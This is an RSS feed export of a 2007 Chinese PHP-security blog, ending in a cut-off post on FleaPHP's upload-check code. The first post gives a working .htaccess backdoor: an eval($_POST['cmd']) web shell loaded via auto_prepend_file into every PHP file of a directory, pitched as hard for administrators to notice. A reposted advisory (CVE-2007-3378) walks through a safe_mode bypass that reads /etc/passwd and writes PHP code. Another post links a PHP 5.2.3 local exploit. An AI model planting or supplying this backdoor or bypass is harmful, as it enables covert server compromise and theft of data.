﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客-GaRY's Blog-随笔分类-PHP security</title><link>http://www.phpweblog.net/GaRY/category/84.html</link><description>Beginning is always beautiful</description><language>zh-cn</language><lastBuildDate>Fri, 04 Jan 2008 16:16:33 GMT</lastBuildDate><pubDate>Fri, 04 Jan 2008 16:16:33 GMT</pubDate><ttl>60</ttl><item><title>.htaccess后门</title><link>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 25 Dec 2007 05:44:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2595.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2595.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2595.html</trackback:ping><description><![CDATA[PHP手册,常看常新:)<br><br>PHP有个特性,会根据apache的httpd.conf和.htaccess来覆盖自己php.ini的设置.<br>恰好,找到两个邪恶的属性:<br><br>
<hr>
<span class="term"><tt class="parameter">
<dt id="ini.auto-prepend-file"><span class="term"><em><tt class="parameter">auto_prepend_file</tt> </em><a class="type string" href="http://cn2.php.net/manual/zh/language.types.string.php"><em>string</em></a><em> </em></span>
</dt><dd>
<p class="para"><em>指定在主文件之前自动解析的文件名。该文件就像调用了 </em><a class="function" href="http://cn2.php.net/manual/zh/function.include.php"><em>include()</em></a><em> 函数一样被包含进来，因此会使用 </em><a class="link" href="http://cn2.php.net/manual/zh/ini.core.php#ini.include-path"><em>include_path</em></a><em>。 </em></p>
<p class="para"><em>特殊值 <strong><tt>none</tt></strong> 禁止了自动前缀。 </em></p>
</dd><dt id="ini.auto-append-file"><span class="term"><em><tt class="parameter">auto_append_file</tt> </em><a class="type string" href="http://cn2.php.net/manual/zh/language.types.string.php"><em>string</em></a><em> </em></span>
</dt><dd>
<p class="para"><em>指定在主文件之后自动解析的文件名。该文件就像调用了 </em><a class="function" href="http://cn2.php.net/manual/zh/function.include.php"><em>include()</em></a><em> 函数一样被包含进来，因此会使用 </em><a class="link" href="http://cn2.php.net/manual/zh/ini.core.php#ini.include-path"><em>include_path</em></a><em>。 </em></p>
<p class="para"><em>特殊值 <strong><tt>none</tt></strong> 禁止了自动后缀。 </em></p>
<blockquote>
<p><em><strong class="note">Note</strong>: <span class="simpara">如果脚本通过 <a class="function" href="http://cn2.php.net/manual/zh/function.exit.php">exit()</a> 终止，则自动后缀不会发生。 </span></em></p>
</blockquote>
</dd><dt id="ini.default-mimetype"><span class="term"><tt class="parameter"><em>
<hr>
<br></em>于是很简单,利用.htaccess就能包含文件,并且不用修改任何对方的php文件,同目录下所有php文件就被植入木马了.管理员不注意的话可能就被忽略掉.<br>本地测试了一下,写了个.htaccess文件到我的sphpblog目录中.<br></tt></span>
</dt><dt id="ini.auto-prepend-file"></dt></tt></span><span class="simpara"><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: #eeeeee;"><img id="Code_Closed_Image_133715" onclick="this.style.display='none'; code_closed_text_133715.style.display="'none';" code_open_image_133715.style.display="'inline';" code_open_text_133715.style.display="'inline';"" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align="top" height="16" width="11"><img id="Code_Open_Image_133715" style="display: none;" onclick="this.style.display='none'; code_open_text_133715.style.display="'none';" code_closed_image_133715.style.display="'inline';" code_closed_text_133715.style.display="'inline';"" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" height="16" width="11"><span id="Code_Closed_Text_133715" style="border: 1px solid #808080; background-color: #ffffff;">.htaccess</span><span id="Code_Open_Text_133715" style="display: none;"><br><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">1</span><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"><span style="color: #000000;">#&lt;?php&nbsp;eval($_POST</span><span style="font-weight: bold; color: #800000;">[</span><span style="color: #800000;">'cmd'</span><span style="font-weight: bold; color: #800000;">]</span><span style="color: #000000;">)</span><span style="color: #008000;">;</span><span style="color: #008000;">?&gt;</span><span style="color: #008000;"><br></span><span style="color: #008080;">2</span><span style="color: #008000;"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"></span><span style="color: #000000;"><br></span><span style="color: #008080;">3</span><span style="color: #000000;"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"></span><span style="color: #000000;">php_value&nbsp;auto_prepend_file&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">.htaccess</span><span style="color: #000000;">"</span></span></div>
<br>然后随意访问一下sphpblog中的任意文件.<br><br><img alt=".haccess" src="http://www.phpweblog.net/images/phpweblog_net/gary/phpbackdoor.JPG" longdesc="效果图" border="0" height="396" width="764"><br><br>当然直接包含.haccess文件太明显了,上面一对无关和出错信息会出卖你的后门的.我这里只是PoC,要包含什么就随便各位了.<br>哦,还有一点,会很方便:<br><br>
<hr>
<a class="link" href="http://www.php.net/manual/zh/ini.core.php#ini.include-path">include_path</a>&nbsp;&nbsp;&nbsp;
".;/path/to/php/pear"&nbsp;&nbsp;&nbsp;
PHP_INI_ALL
&nbsp;
&nbsp;
<hr>
<br>什么意思我就不说了.各位自己琢磨吧,呵呵<br></span><img src ="http://www.phpweblog.net/GaRY/aggbug/2595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-12-25 13:44 <a href="http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zt]PHP 5.2.4 mail.force_extra_parameters unsecure</title><link>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 26 Nov 2007 04:03:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2392.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2392.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2392.html</trackback:ping><description><![CDATA[又一个bypass safemode,有趣的是这次用的是.htaccess.因此,只要此文件可写,或者可写的web目录下没有此文件,就可以利用.<br>ps:通过mail.force_extra_parameters,还真像当年的mail函数bypass safemode漏洞.<br><br><br>&nbsp; Topic : 			<strong>PHP 5.2.4 mail.force_extra_parameters unsecure</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Security<font color="red">A</font>lert : 			<strong>47</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;CVE : 			<strong><a  href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3378"><font color="#0033ff">CVE-2007-3378</font></a></strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;SecurityRisk : 			<strong>Medium</strong>&nbsp;&nbsp;<img  src="http://securityreason.com/gfx/alert/mini-medium.gif" alt="alert"><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Remote Exploit : 			<strong>No</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Local Exploit : 			<strong>Yes</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Exploit Given : 			<strong>Yes</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Credit : 			<strong><font color="green">Maksymilian Arciemowicz</font></strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Date : 			<strong>25.11.2007</strong><br>
<div align="justify">
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Affected Software : 			<strong>PHP &lt;= 5.2.4</strong><br><br></div>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Advisory Text :&nbsp;&nbsp;<br>
<br>
-----BEGIN PGP SIGNED MESSAGE-----<br>
Hash: SHA1<br>
<br>
[PHP 5.2.4 mail.force_extra_parameters unsecure ]<br>
<br>
Author: Maksymilian Arciemowicz (cXIb8O3)<br>
SecurityReason<br>
Date:<br>
- - Written: 06.09.2007<br>
- - Public: 0x.0x.2007<br>
<br>
SecurityReason Research<br>
SecurityAlert Id: 47<br>
<br>
CVE: CVE-2007-3378<br>
SecurityRisk: Medium<br>
<br>
Affected Software: PHP &lt;= 5.2.4<br>
Advisory URL:<br>
http://securityreason.com/achievement_securityalert/47<br>
Vendor: http://www.php.net<br>
<br>
- --- 0.Description ---<br>
<br>
PHP is an HTML-embedded scripting language. Much of its syntax is<br>
borrowed from C, Java and Perl with a couple of unique<br>
PHP-specific features thrown in. The goal of the language is to<br>
allow web developers to write dynamically generated pages<br>
quickly.<br>
When using PHP as an Apache module, you can also change the<br>
configuration settings using directives in Apache configuration<br>
files (e.g. httpd.conf) and .htaccess files. You will need<br>
"AllowOverride Options" or "AllowOverride<br>
All" privileges to do so.<br>
<br>
php_value name value<br>
<br>
Sets the value of the specified directive. Can be used only with<br>
PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a<br>
previously set value use none as the value.<br>
Note: Don't use php_value to set boolean values. php_flag (see<br>
below) should be used instead.<br>
<br>
php_flag name on|off<br>
<br>
Used to set a boolean configuration directive. Can be used only<br>
with PHP_INI_ALL and PHP_INI_PERDIR type directives.<br>
<br>
mail.force_extra_parameters - Force the addition of the specified<br>
parameters to be passed as extra parameters to the sendmail<br>
binary. These parameters will always replace the value of the 5th<br>
parameter to mail(), even in safe mode<br>
<br>
http://pl.php.net/manual/en/configuration.changes.php<br>
<br>
- --- 1. htaccess safemode and open_basedir Bypass Vulnerability<br>
per mail.force_extra_parameters ---<br>
<br>
We have recrived a lot of question about news<br>
http://securityreason.com/news/0/0x1f . And we will show How to<br>
exploit this issue. When using PHP as an Apache module, you can<br>
also change the configuration settings using directives in<br>
.htaccess file. But it is possible to bypass a safe_mode or<br>
open_basedir per mail.force_extra_parameters. In a lot of servers<br>
is sendmail, can be also exim etc. But we show how to exploit<br>
this for a famous mail server (SENDMAIL).<br>
<br>
For example you can set mail.force_extra_parameters via<br>
.htaccess.<br>
<br>
cxib# curl -I http://localhost:82<br>
HTTP/1.1 200 OK<br>
Date: Thu, 06 Sep 2007 22:18:35 GMT<br>
Server: Apache/2.2.4 (FreeBSD) mod_ssl/2.2.4 OpenSSL/0.9.7e-p1<br>
DAV/2 PHP/5.2.4<br>
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT<br>
ETag: "27e4f0-2c-4c23b600"<br>
Accept-Ranges: bytes<br>
Content-Length: 44<br>
Content-Type: text/html<br>
<br>
Apache 2.2.4 and PHP 5.2.4. Let's see folder<br>
"/narkotyk" in localhost:82.<br>
<br>
cxib# ls -la<br>
total 10<br>
drwxrwxrwx 2 www www 512 Sep 7 00:26 .<br>
drwxr-xr-x 4 www wheel 512 Sep 7 00:22 ..<br>
- -rw-r--r-- 1 www www 106 Sep 7 00:25 .htaccess<br>
- -rw-r--r-- 1 www www 29 Sep 7 00:25 file1.php<br>
- -rw-r--r-- 1 www www 56 Sep 7 00:26 file2.php<br>
cxib# cat file1.php<br>
&lt;? include("/etc/passwd"); ?&gt;<br>
<br>
cxib# curl http://localhost:82/narkotyk/file1.php<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: SAFE MODE<br>
Restriction in effect. The script whose uid is 80 is not allowed<br>
to access /etc/passwd owned by uid 0 in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include(/etc/passwd) [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: failed to<br>
open stream: Invalid argument in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: Failed<br>
opening '/etc/passwd' for inclusion (include_path='.:') in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
<br>
so safe_mode is open.<br>
Let's see files .htaccess and file2.php<br>
<br>
cxib# cat file2.php<br>
&lt;? var_dump(mail("root@localhost",<br>
"hallo", "root")); ?&gt;<br>
cxib# cat .htaccess<br>
php_value mail.force_extra_parameters '-C /etc/passwd -X<br>
/usr/local/www/apache22/data/narkotyk/result.txt'<br>
<br>
and let's send request to file2.php<br>
<br>
cxib# curl http://localhost:82/narkotyk/file2.php<br>
bool(false)<br>
<br>
False!? No <br>
<br>
cxib# ls -la /usr/local/www/apache22/data/narkotyk/result.txt<br>
- -rw-r--r-- 1 www www 7130 Sep 7 00:31<br>
/usr/local/www/apache22/data/narkotyk/result.txt<br>
cxib#<br>
<br>
result.txt has been created.<br>
<br>
cxib# cat /usr/local/www/apache22/data/narkotyk/result.txt<br>
69647 &gt;&gt;&gt; /etc/passwd: line 3: unknown configuration<br>
line "root:*:0:0:Charlie &amp;:/root:/bin/csh"<br>
69647 &gt;&gt;&gt; /etc/passwd: line 4: unknown configuration<br>
line "toor:*:0:0:Bourne-again Superuser:/root:"<br>
..... etc.<br>
<br>
We can read file and safe_mode and open_basedir is bypassed.<br>
<br>
It is possible create file with php code. But we need have<br>
sendmail.cf to send email.<br>
<br>
Example:<br>
<br>
cxib# cat .htaccess<br>
php_value mail.force_extra_parameters '-C<br>
/usr/local/www/apache22/data/narkotyk/sendmail.cf -X<br>
/usr/local/www/apache22/data/narkotyk/phpcode.php'<br>
cxib# cat file3.php<br>
&lt;? var_dump(mail("root@xxxxxxxxxxxxxxxxxx",<br>
"h&lt;? phpinfo(); ?&gt;allo", "root"));<br>
?&gt;<br>
<br>
We need create /usr/local/www/apache22/data/narkotyk/sendmail.cf<br>
and configure this file. Then<br>
<br>
cxib# curl http://localhost:82/narkotyk/file3.php<br>
bool(true)<br>
cxib#<br>
cxib# cat phpcode.php<br>
69755 &lt;&lt;&lt; To: root@xxxxxxxxxxxxxxxxxx<br>
69755 &lt;&lt;&lt; Subject: h&lt;? phpinfo(); ?&gt;allo<br>
69755 &lt;&lt;&lt;<br>
69755 &lt;&lt;&lt; root<br>
69755 &lt;&lt;&lt; [EOF]<br>
69757 === CONNECT securityreason.pl<br>
... etc<br>
<br>
and now<br>
<br>
cxib# curl http://localhost:82/narkotyk/phpcode.php<br>
69755 &lt;&lt;&lt; To: root@xxxxxxxxxxxxxxxxxx<br>
69755 &lt;&lt;&lt; Subject: h&lt;!DOCTYPE html PUBLIC<br>
"-//W3C//DTD XHTML 1.0 Transitional//EN"<br>
"DTD/xhtml1-transitional.dtd"&gt;<br>
&lt;html&gt;&lt;head&gt;<br>
&lt;style type="text/css"&gt;<br>
body {background-color: #ffffff; color: #000000;}<br>
body, td, th, h1, h2 {font-family: sans-serif;}<br>
... phpinfo().<br>
<br>
This was example for php 5.2.4 with sendmail. But we think, it is<br>
possible exploit exim and more send mail programs. In PHP 5.2.4<br>
mail.force_extra_parameters is filtered per<br>
php_escape_shell_cmd(). But we needn't bypass this function.<br>
<br>
- --- mail.c ---<br>
if (force_extra_parameters) {<br>
extra_cmd = php_escape_shell_cmd(force_extra_parameters);<br>
} else if (extra_cmd) {<br>
extra_cmd = php_escape_shell_cmd(extra_cmd);<br>
}<br>
- --- mail.c ---<br>
<br>
Interesting is:<br>
<br>
- --- mail.c ---<br>
if (PG(safe_mode) &amp;&amp; (ZEND_NUM_ARGS() == 5)) {<br>
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE<br>
Restriction in effect. The fifth parameter is disabled in SAFE<br>
MODE.");<br>
RETURN_FALSE;<br>
}<br>
- --- mail.c ---<br>
<br>
5 th parameter in mail() function is checked.<br>
mail.force_extra_parameters no.<br>
<br>
Before public advisory we tested issue and we send advisory to<br>
PHP Team. Main problem is that, we do not recived any answer. <br>
We do not checked patch to CVE-2007-3378 (SREASONRES:20070627),<br>
but we are using CVE-2007-3378 to identification .<br>
<br>
http://securityreason.com/achievement_securityalert/47<br>
<br>
php_escape_shell_cmd() is not reason for CVE-2007-3378.<br>
<br>
- --- 2. Exploit ---<br>
SecurityReason will not public official exploit for this issue.<br>
<br>
Anybody can self exploit this.<br>
<br>
- --- 3. How to fix ---<br>
<br>
- --- note from SREASONRES:20070627 ---<br>
This bug has been founded on February 2007<br>
We contacted with PHP Team again.<br>
With co-operation Stanislav Malyshev from PHP Team the PHP 5.2.5<br>
is now fully patched against<br>
"mail.force_extra_parameters" issue . <br>
- --- note from SREASONRES:20070627 ---<br>
<br>
Update to PHP5.2.5<br>
<br>
- --- 4. Greets ---<br>
<br>
For: sp3x, Infospec, p_e_a, l5x and Stefan Esser<br>
<br>
- --- 5. Contact ---<br>
<br>
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]<br>
Email: cxib [at] securityreason [dot] com<br>
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg<br>
http://securityreason.com<br>
http://securityreason.pl<br>
-----BEGIN PGP SIGNATURE-----<br>
Version: GnuPG v1.4.5 (FreeBSD)<br>
<br>
iD8DBQFHSZ1w3Ke13X/fTO4RAnKnAJ0drPZhrdtiheaR9b8mLZ0IjyJoIQCfZC3A<br>
jn8i1L2eCHVS1jBuN24ySc0=<br>
=ZCW0<br>
-----END PGP SIGNATURE-----<br><img src ="http://www.phpweblog.net/GaRY/aggbug/2392.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-11-26 12:03 <a href="http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>好久没更新</title><link>http://www.phpweblog.net/GaRY/archive/2007/07/24/1559.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 24 Jul 2007 14:42:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/07/24/1559.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1559.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/07/24/1559.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1559.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1559.html</trackback:ping><description><![CDATA[更新一下<br><a title=php-5.2.3-localexploit-for-win href="http://www.phpweblog.net/Files/GaRY/php-5.2.3-localexp.rar">php-5.2.3-localexploit-for-win</a><br>Tested on winxp sp2 cn <br><img id=exploit height=276 alt=exploit src="http://www.phpweblog.net/images/phpweblog_net/gary/exp.jpg" width=650 border=0 longDesc="exploit example">
<img src ="http://www.phpweblog.net/GaRY/aggbug/1559.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-07-24 22:42 <a href="http://www.phpweblog.net/GaRY/archive/2007/07/24/1559.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>FleaPHP默认上传类的一个隐患</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/30/Something_About_FleaPHP_Upload_Class.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 30 May 2007 08:56:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/30/Something_About_FleaPHP_Upload_Class.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1282.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/30/Something_About_FleaPHP_Upload_Class.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1282.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1282.html</trackback:ping><description><![CDATA[<p>随着各种开发框架的盛行,程序员也不愿意做那么多重复的事情了,开发,速度最重要.现在开发什么东西都讲究一个效率.<br>目前国内似乎还没有多少人对框架的安全性有多少研究.毕竟如果一个底层的编程框架出了问题,很多程序都将受到威胁.<br>我下了个国内现在很流行的php框架中一个:FleaPHP 1.0.70 beta.翻了翻他的FLEA/FLEA/Helper/FileUploader.php,这个是此框架默认的文件上传类.它有一个检查上传文件是否合法的函数:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;check(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$maxSize</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">!</span><span style="COLOR: #800080">$this</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">isSuccessed())&nbsp;{&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">允许上传的扩展名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strpos</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">elseif</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strpos</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">elseif</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strpos</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$exts</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$allowExts</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" 